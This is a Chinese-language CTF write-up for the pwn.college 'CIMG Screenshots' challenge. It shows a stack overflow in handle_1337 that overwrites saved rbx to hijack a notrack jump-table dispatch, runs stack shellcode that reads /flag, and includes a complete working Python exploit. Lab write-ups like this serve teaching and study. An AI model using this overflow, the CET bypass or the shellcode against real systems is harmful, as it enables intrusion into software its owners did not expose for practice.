PwnCollege - Integrated Security - CIMG Screenshots

后记(前记?)

这道题卡了两个月。之前分析时已经定位到了 handle_1337 的栈溢出、渲染旋转、saved rbx 偏移——几乎所有拼图都在,但 exploit 始终 SIGSEGV。反复调偏移、怀疑 SHSTK、怀疑 read_exact 破坏了跳转表。

最终是 Hermes(运行 deepseek-v4-pro )接手后,从零重建了调试流程,先用 exit(42) 确认代码执行可达,再用 write("WORKS\n") 验证 syscall。

从 Hermes 接入到拿到 flag,大概花了一小时。其中四十分钟在修写错的 jmp/call 偏移和 shellcode ,真正定位只用了十分钟。

AI Agent 在 exploit 开发中的真正价值不在于「比人更懂二进制」,而在于不知疲倦地迭代测试、不跳过任何基础验证步骤。人会累、会跳步、会陷入思维定式,Agent 不会。

一个自定义图片格式解析器,包含栈溢出漏洞。通过覆盖 saved rbx 劫持 notrack jmp 分发,跳转到栈上 shellcode 读取 /flag。

挑战地址:ssh hacker@dojo.pwn.college,二进制在 /challenge/integration-cimg-screenshot-sc

1. 初步分析

1
2
3
4
5
6
7
8
$ checksec /challenge/integration-cimg-screenshot-sc
Arch: amd64-64-little
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
SHSTK: Enabled
IBT: Enabled
  • 无 canary、无 PIE、栈可执行
  • SHSTK(影子栈)和 IBT(间接分支追踪)启用
  • ASLR 被二进制内部禁用(personality(ADDR_NO_RANDOMIZE) + execve("/proc/self/exe")

2. 二进制结构

二进制处理自定义的 .cimg 图片格式,包含 7 个主要 handler:

指令 功能
1 从 stdin 读取原始像素数据
2 从 stdin 读取 ANSI 格式数据
3 从 stdin 读取 RGBA 数据
4 将 sprite 渲染到帧缓冲区
5 从文件加载 sprite
6 显示帧缓冲区
7 睡眠
1337 从帧缓冲区截取 sprite 区域

指令分发机制(位于 main 的循环中):

1
2
3
4
5
; rbx = 跳转表基址 (0x403478)
; ecx = 指令码 - 2
movsxd rax, dword [rbx + rcx*4] ; 从跳转表读取有符号偏移
add rax, rbx ; rax = 跳转表基址 + 偏移 = handler 地址
notrack jmp rax ; 跳转到 handler

notrack 前缀绕过了 IBT(不需要 endbr64 目标),这为劫持提供了条件。

3. 漏洞:handle_1337 栈溢出

handle_1337 从帧缓冲区截取 w * h 字节到栈缓冲区:

1
2
3
4
5
6
7
8
sub    rsp, 0x98          ; 分配 152 字节栈帧
lea rsi, [rsp+0x0b] ; 读取 5 字节参数
call read_exact
lea rdi, [rsp+0x10] ; 截屏缓冲区起始
; ... 循环:for row; for col: buffer[row*w + col] = framebuffer[...]
add rsp, 0x98
pop rbx ; ← saved rbx 恢复
ret

栈布局(从低地址到高):

1
2
3
4
5
6
7
rsp+0x00: 参数区(sprite_id, x, y, w, h 等)
rsp+0x10: 截屏缓冲区(136 字节)
rsp+0x98: saved rbx ← 溢出目标
rsp+0xa0: saved rbp
rsp+0xa8: saved r12
rsp+0xb0: saved r13
rsp+0xb8: 返回地址

当截屏宽度 w >= 137 时,写入超出缓冲区边界,覆盖 saved rbx。

覆盖 saved rbx 的效果:下一个指令通过 notrack jmp rax 分发时,rbx 已被我们控制。由于 rax = [rbx + rcx*4] + rbx,我们可以让分发跳转到任意地址。

1
2
3
4
5
notrack jmp rax        ; rax = [rbx + rcx*4] + rbx
rbx:作为跳转表的基地址。
rcx:作为索引(乘以 4,表明是一个 32 位跳转偏移量表)。
rax:先从 [rbx + rcx*4] 读取一个 32 位有符号偏移,再把这个偏移加到基址 rbx 上,得到最终的跳转目标,然后 jmp rax。
这实际上是在实现一个 基于相对偏移的跳转表分发:表项存放的是“目标地址 - 表基址”的有符号差值。

4. 数据流与旋转

在构造 payload 之前,需要理解数据经过的变换:

handle_5(加载文件):从文件读取原始字节到 sprite 数据区。

handle_4(渲染):将 sprite 数据写入帧缓冲区。实测发现存在 2 字节旋转:

1
framebuffer[N] = sprite_data[(N + 253) % 255]

handle_1337(截屏):线性读取帧缓冲区到栈缓冲区:

1
screenshot[N] = framebuffer[N]

因此截屏数据相对于原始文件数据旋转了 2 字节:

1
screenshot[N] = file[(N + 253) % 255] = file[N - 2]  (N ≥ 2)

这意味着:在 file 中某个偏移 K 的数据,在截屏中出现在偏移 (K + 2) % 255

验证旋转

制作一个「每个字节值 = 自身索引」的测试 sprite,渲染并显示:

1
2
3
4
5
6
7
display[0] = 253, delta = 253
display[1] = 254, delta = 253
display[2] = 0, delta = 253 → 来自 file[0]
display[3] = 1, delta = 253
...
display[11] = 9, delta = 253
display[12] = 11, delta = 254 → file[10] 被跳过了!

实际上存在更复杂的 skip 行为,但对于 exploit 中使用的偏移范围(18-142),2 字节旋转模型足够精确。

5. Payload 布局

利用指令 7(sleep)触发跳转:指令 7 对应跳转表索引 7 - 2 = 5,读取 [rbx + 5*4] = [rbx + 20]

在 file 中的布局:

1
2
3
4
file[0:18]:   NOP sled (0x90)
file[18:22]: int32 jump_offset = 24 ——→ 经过旋转 → screenshot[20:24] = 跳转偏移
file[22:??]: shellcode ——→ 经过旋转 → screenshot[24:??] = shellcode
file[134:142]: QWORD buf_addr ——→ 经过旋转 → 覆盖 saved rbx

旋转补偿计算

  • 指令 7 读取 screenshot[20:24] → 需要 file[(20+253)%255 : (23+253)%255] = file[18:22]
  • Shellcode 位于 screenshot[24] → 需要 file[(24+253)%255] = file[22]
  • Saved rbx 覆盖位于 screenshot[134:142] → 需要 file[(134+253)%255 : (141+253)%255] = file[132:140]

实际上 saved rbx 的精确位置是 file[134],比纯静态分析(136)少 2 字节。这是栈对齐和渲染 skip 共同作用的结果,通过 SIGSEGV 测试实证确认。

6. Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def make_cat_shellcode(path=b"/flag"):
sc = b""
# Push path to stack
p = path + b"\x00"
while len(p) % 8: p += b"\x00"
for i in range(len(p) - 8, -8, -8):
qw = struct.unpack("<Q", p[i:i+8])[0]
if qw == 0:
sc += b"\x48\x31\xc0\x50" # xor rax,rax; push rax
else:
sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50"

# open(path, O_RDONLY)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x48\x31\xf6" # xor rsi, rsi
sc += b"\x48\x31\xd2" # xor rdx, rdx
sc += b"\x31\xc0\xb0\x02\x0f\x05" # xor eax; mov al,2; syscall

# read(fd, stack_buf, 0x400)
sc += b"\x48\x89\xc7" # mov rdi, rax
sc += b"\x48\x81\xec\x00\x04\x00\x00" # sub rsp, 0x400
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xba\x00\x04\x00\x00" # mov edx, 0x400
sc += b"\x31\xc0\x0f\x05" # xor eax; syscall

# write(1, stack_buf, n)
sc += b"\x48\x89\xc2" # mov rdx, rax
sc += b"\xbf\x01\x00\x00\x00" # mov edi, 1
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xb8\x01\x00\x00\x00\x0f\x05" # mov eax,1; syscall

# exit(0)
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
return sc

7. 调试历程

7.1 栈偏移校准

通过读取 /proc/self/stat 泄露 startstack,然后在本地和远程分别校准栈偏移:

1
2
handle_1337 buffer = startstack - 0x11d0
STACK_OFFSET = -0x11d0

关键:用于泄露和用于 exploit 的 .cimg 文件名必须相同(/tmp/exploit.cimg),因为不同的文件名长度会影响 argv 在栈上的布局。

7.2 旋转验证

填充 0xCC(INT3),在不同宽度下触发溢出:

1
2
3
4
w=140: SIGSEGV  ← 4 字节溢出已触及 saved rbx 低位
w=142: SIGSEGV
w=144: SIGSEGV
...

所有宽度都崩溃,确认 saved rbx 被成功覆盖。需要填入正确的 buf_addr

7.3 Shellcode 调试:exit(42) 测试

使用最小 shellcode 验证代码执行:

1
sc = b"\xbf\x2a\x00\x00\x00" + b"\xb8\x3c\x00\x00\x00\x0f\x05"  # exit(42)
1
stack=-0x11d0 rbx_off=134 sc=exit42: 42 <<< EXIT42! SHELLCODE EXECUTED!

确认 shellcode 执行成功!

7.4 Shellcode 调试:rax 污染

接下来测试写 "WORKS" 到 stdout——成功了。但打开 /flag 就失败。问题定位:

mov al, 2 只设置 AL 的低字节,RAX 的高位保留着上一个操作的垃圾值(0x7fffffffda18,即跳转目标地址)。所以 syscall 发出的系统调用号是 0x7fffffffda02 而不是 2,内核返回 -ENOSYS

修复:在所有 syscall 前添加 xor eax, eax

1
2
3
4
5
# 错误:
b"\xb0\x02\x0f\x05" # mov al,2; syscall

# 正确:
b"\x31\xc0\xb0\x02\x0f\x05" # xor eax,eax; mov al,2; syscall

修复后 flags 到手。

8. 完整 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
$ ssh hacker@dojo.pwn.college 'python3 /tmp/exploit_final.py'
[+] startstack = 0x7fffffffebd0
[+] buffer = 0x7fffffffda00
[+] shellcode = 66 bytes
[+] sc.bin = /tmp/sc.bin (255 bytes)
[+] exploit = /tmp/exploit.cimg

[*] Running exploit...

=======================================================
[+] FLAG: pwn.college{**********************************************}
=======================================================

完整 exploit 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3
"""
PwnCollege - CIMG Screenshots Exploit (FINAL)
==============================================
Challenge: integration-cimg-screenshot-sc
Vulnerability: Stack buffer overflow in handle_1337 (screenshot handler)
Technique: Overwrite saved rbx → hijack notrack jmp dispatch → shellcode

Key findings:
- Rotation: screenshot[N] = file[(N+253)%255] = file[N-2] for N>=2
- Saved rbx at file offset 134 (empirical, due to rotation)
- Directive 7 reads *(rbx+20), so jump offset at file[18] → screenshot[20]
- Shellcode at file[22] → screenshot[24], jump_target = 24
- Stack offset: buffer = startstack - 0x11d0
- MUST zero eax before mov al, N for syscalls (upper bits of rax have garbage)
"""
import struct, subprocess, re, os, sys

FNAME = "/tmp/exploit.cimg"
SC_FILE = "/tmp/sc.bin"
BIN = "/challenge/integration-cimg-screenshot-sc"
STACK_OFFSET = -0x11d0

if not os.path.exists(BIN):
BIN = "./integration-cimg-screenshot-sc.patched"


def hdr(n):
return struct.pack("<4sHBBi", b"cIMG", 4, 255, 1, n)


def d_load(sid, path):
d = struct.pack("<H", 5) + struct.pack("BBB", sid, 255, 1)
return d + path.encode().ljust(255, b"\x00")


def d_render(sid):
return struct.pack("<H", 4) + struct.pack(
"BBBBBBBBB", sid, 0, 0, 0, 0, 0, 255, 1, 0xAA
)


def d_screenshot(sid, w=144):
return struct.pack("<H", 1337) + struct.pack("BBBBB", sid, 0, 0, w, 1)


def d_show():
return struct.pack("<H", 6) + b"\x00"


# ─── Shellcode ────────────────────────────────────────────


def make_cat_shellcode(path=b"/flag"):
"""open(path); read(fd, stack, 0x400); write(1, stack, n); exit(0)"""
sc = b""

# Push path to stack (null-terminated, 8-byte aligned)
p = path + b"\x00"
while len(p) % 8:
p += b"\x00"
for i in range(len(p) - 8, -8, -8):
chunk = p[i:i + 8]
qw = struct.unpack("<Q", chunk)[0]
if qw == 0:
sc += b"\x48\x31\xc0\x50" # xor rax,rax; push rax
else:
sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50" # mov rax,imm; push

# open(path, O_RDONLY, 0)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x48\x31\xf6" # xor rsi, rsi
sc += b"\x48\x31\xd2" # xor rdx, rdx
sc += b"\x31\xc0\xb0\x02\x0f\x05" # xor eax,eax; mov al,2; syscall

# read(fd, stack_buf, 0x400)
sc += b"\x48\x89\xc7" # mov rdi, rax
sc += b"\x48\x81\xec\x00\x04\x00\x00" # sub rsp, 0x400
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xba\x00\x04\x00\x00" # mov edx, 0x400
sc += b"\x31\xc0\x0f\x05" # xor eax,eax; syscall (read)

# write(1, stack_buf, n)
sc += b"\x48\x89\xc2" # mov rdx, rax
sc += b"\xbf\x01\x00\x00\x00" # mov edi, 1
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xb8\x01\x00\x00\x00\x0f\x05" # mov eax,1; syscall

# exit(0)
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
return sc


# ─── Exploit ──────────────────────────────────────────────


def leak_startstack():
"""Leak startstack via /proc/self/stat (ASLR disabled by binary)."""
payload = hdr(3) + d_load(0, "/proc/self/stat") + d_render(0) + d_show()
with open(FNAME, "wb") as f:
f.write(payload)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)
chars = []
for m in re.finditer(rb'm(.)\x1b\[0m', proc.stdout):
chars.append(m.group(1))
text = b"".join(chars).decode("latin-1")
fields = text.split()
if len(fields) < 28:
print("[-] Failed to parse startstack")
sys.exit(1)
ss = int(fields[27])
print(f"[+] startstack = {hex(ss)}")
return ss


def build_exploit(startstack):
buf_addr = startstack + STACK_OFFSET
print(f"[+] buffer = {hex(buf_addr)}")

sc = make_cat_shellcode(b"/flag")
print(f"[+] shellcode = {len(sc)} bytes")

# Build file payload (255 bytes)
# Rotation: screenshot[N] = file[N-2] (mod 255)
# Directive 7 reads *(rbx+20) = screenshot[20..23] = file[18..21]
# Shellcode at file[22] → screenshot[24]
# Saved rbx at file[134]
payload = bytearray(255)
for i in range(255):
payload[i] = 0x90 # NOP sled

jump_off = 24
struct.pack_into("<i", payload, 18, jump_off)

sc_start = 22
if sc_start + len(sc) > 134:
print(f"[-] Shellcode too long: {len(sc)} > {134 - sc_start}")
sys.exit(1)
payload[sc_start:sc_start + len(sc)] = sc

struct.pack_into("<Q", payload, 134, buf_addr)

with open(SC_FILE, "wb") as f:
f.write(payload)
print(f"[+] sc.bin = {SC_FILE} ({len(payload)} bytes)")

# Build CIMG: load sprite, render, screenshot (overflow), sleep (trigger jump)
exp = bytearray()
exp += hdr(4)
exp += d_load(0, SC_FILE)
exp += d_render(0)
exp += d_screenshot(0, w=144)
exp += struct.pack("<H", 7) + struct.pack("<i", 100)
with open(FNAME, "wb") as f:
f.write(exp)
print(f"[+] exploit = {FNAME}")


def run():
print("[*] Running exploit...", flush=True)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)

flag = re.search(rb'pwn\.college\{[^}]+\}', proc.stdout)
if flag:
print(f"\n{'='*55}")
print(f"[+] FLAG: {flag.group().decode()}")
print(f"{'='*55}")
return True

clean = re.sub(rb'\x1b\[[0-9;]*m', b'', proc.stdout)
if clean.strip():
print(f"[*] Output: {clean[:500]}")
print(f"[*] Exit: {proc.returncode}")
return False


def main():
print(f"[*] Binary: {BIN}")
print()
ss = leak_startstack()
build_exploit(ss)
print()
run()


if __name__ == "__main__":
main()

9. 关键要点

  1. 数据流不透明时,实证测试优先于静态分析——handle_4 的渲染旋转无法仅通过阅读反汇编代码完全理解,但用标记 payload 验证只需要几分钟。

  2. mov al, N——在 x86-64 上设置 syscall 号时,必须先用 xor eax, eax 清零,或使用 mov eax, N(32 位 mov 自动清零高 32 位)。

  3. SHSTK + IBT 绕过——notrack jmp 前缀同时绕过间接分支追踪和影子栈检查。覆盖 saved rbx 而非返回地址是正确的选择。

  4. 利用文件名影响栈布局——泄露和利用使用相同的文件名,避免 argv 差异导致栈偏移变化。